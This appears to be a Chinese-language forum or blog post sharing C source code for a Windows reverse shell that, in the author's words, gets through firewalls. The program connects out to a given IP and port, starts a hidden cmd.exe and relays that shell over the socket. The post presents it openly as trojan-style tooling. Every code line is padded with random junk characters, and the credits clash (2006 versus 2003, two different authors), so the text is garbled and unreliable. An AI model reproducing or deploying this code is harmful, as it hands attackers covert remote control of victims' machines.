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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ugCS &  
Ty0T7D   
/* ============================== p6Dv;@)Yn  
Rebound port in Windows NT 0$Y 9>)O  
By wind,2006/7 m:f ouMS  
===============================*/ 8~(+[[TQ@  
#include &9w%n  
#include RG r'<o)  
]q[  
#pragma comment(lib,"wsock32.lib") ^iRwwN=d  
3hf ;4Mb  
void OutputShell(); *r,&@UB  
SOCKET sClient; U"y'Kd  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k.xv+^b9Q  
G<-9U}~76  
void main(int argc,char **argv) ->2wrOH|H  
{ UoMWn"ZE  
WSADATA stWsaData; P,;b'-5C  
int nRet; Jv^cOc  
SOCKADDR_IN stSaiClient,stSaiServer; !QR?\9`  
z5&%T}$tJ  
if(argc != 3) tZu*Asx7  
{ M|5]#2J_2  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5*wApu{2A  
return; acYoOW1G  
} x #X#V\w=  
RJ}yf|d-C  
WSAStartup(MAKEWORD(2,2),&stWsaData); M`+e'vdw  
PMN2VzE4{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RnA&-\|*  
_{*$>1q  
stSaiClient.sin_family = AF_INET; 8LQ59K_WX  
stSaiClient.sin_port = htons(0); mB^I @oZ*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ih-3t*L  
@>#{WI:"~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jQxPOl$-  
{ Fi?Q 4b  
printf("Bind Socket Failed!\n"); 0qL V(L  
return; 2 ]DCF  
} ;Up'~BP(  
qaMZfA  
stSaiServer.sin_family = AF_INET; f05"3L:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &J;H@d||  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I`"-$99|t1  
<nw <v9Z  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z>mZT.  
{ )+w/\~@  
printf("Connect Error!"); 8yE%X!E  
return; BA1MGh  
} yxG:\y b  
OutputShell(); }c35FM,  
} a81!~1A  
VA=#0w  
void OutputShell() qu<B%v  
{ 2;%#C!TG;  
char szBuff[1024]; N /sEec  
SECURITY_ATTRIBUTES stSecurityAttributes; rb *C-NutE  
OSVERSIONINFO stOsversionInfo; A#Q0{z@H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N#RD:"RS!  
STARTUPINFO stStartupInfo; SaR}\Up  
char *szShell; '0CXHjZN  
PROCESS_INFORMATION stProcessInformation; pcRF: ~TE  
unsigned long lBytesRead; )BF \!sTn  
Evr2|4|O~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); to!mz\F  
e0v9uQ%F5  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dysX  
stSecurityAttributes.lpSecurityDescriptor = 0; DOF?(:8Y  
stSecurityAttributes.bInheritHandle = TRUE; %z-dM` i  
:k ME  
Y)Znb;`?a  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?jNF6z*M6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qeQC&U y;  
Kf05<J!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &*(n<5 wt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2I]]WBW#:  
stStartupInfo.wShowWindow = SW_HIDE; rV8(ia  
stStartupInfo.hStdInput = hReadPipe; |'U,/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ";)r*UgR{B  
&\[Qm{lN  
GetVersionEx(&stOsversionInfo); I%;Rn:zl  
o{{:|%m3Q  
switch(stOsversionInfo.dwPlatformId) 1-6gB@cvQ  
{ ;f".'9 l^  
case 1: }.fL$,7a  
szShell = "command.com"; E/wQ+rv  
break; ,_.@l+BM.  
default: B#HnPUUK  
szShell = "cmd.exe"; $kxu;I  
break; q3c*<n g#  
} Yw~;g: =  
6?%]odI#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ov\Ct%]  
F-$Z,Q]S  
send(sClient,szMsg,77,0); 0M#N=%31  
while(1) dr| | !{\  
{ Y H<$ +U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X+`ddX  
if(lBytesRead) VFilF<jvu  
{ PU^[HC*K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W:VW_3  
send(sClient,szBuff,lBytesRead,0); *C4~}4WT\  
} P<>[e9|  
else %'{V%IXQ  
{ -!XrwQyk  
lBytesRead=recv(sClient,szBuff,1024,0); 3 R5%N ~  
if(lBytesRead<=0) break; H{j~ihq7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -]Q3/"Q  
} %$/=4f.j  
} D-Bv(/Pz]$  
51&|t#8h  
return; I`/]@BdgY  
}
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